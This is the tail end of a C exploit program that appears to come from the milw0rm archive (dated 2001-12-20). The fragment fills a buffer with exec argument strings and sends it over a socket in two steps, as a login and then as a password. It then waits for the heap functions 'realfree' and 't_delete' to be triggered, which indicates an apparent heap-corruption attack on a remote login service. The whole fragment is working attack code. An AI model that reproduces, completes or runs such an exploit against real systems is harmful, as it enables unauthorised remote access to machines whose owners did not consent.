|
||
str_buffer_pos += strlen(exec_argv1)+1;
|
||
|
||
strcpy(str_buffer + str_buffer_pos,exec_argv2);
|
||
str_buffer_pos += strlen(exec_argv2)+1;
|
||
|
||
strcpy(str_buffer + str_buffer_pos,exec_argv3);
|
||
str_buffer_pos += strlen(exec_argv3)+1;
|
||
|
||
memcpy(str_buffer + str_buffer_pos,str_end,strlen(str_end));
|
||
str_buffer_pos += strlen(str_end);
|
||
|
||
{
|
||
char buf[100];
|
||
fgets(buf,100,stdin);
|
||
}
|
||
printf("sending login!\n");
|
||
fflush(stdout);
|
||
send_data(sock,str_buffer,str_buffer_pos);
|
||
send_data(sock,NULL,0);
|
||
printf("\n\n\npress return to send password\n...");
|
||
|
||
{
|
||
char buf[100];
|
||
fgets(buf,100,stdin);
|
||
}
|
||
send_data(sock,str_buffer,strlen(str_buffer)+1);
|
||
printf("\n\n\nwaiting for the realfree & t_delete to be called!\n...\n\n");
|
||
fflush(stdout);
|
||
sleep(30);
|
||
return 42;
|
||
}
|
||
|
||
|
||
// milw0rm.com [2001-12-20]
|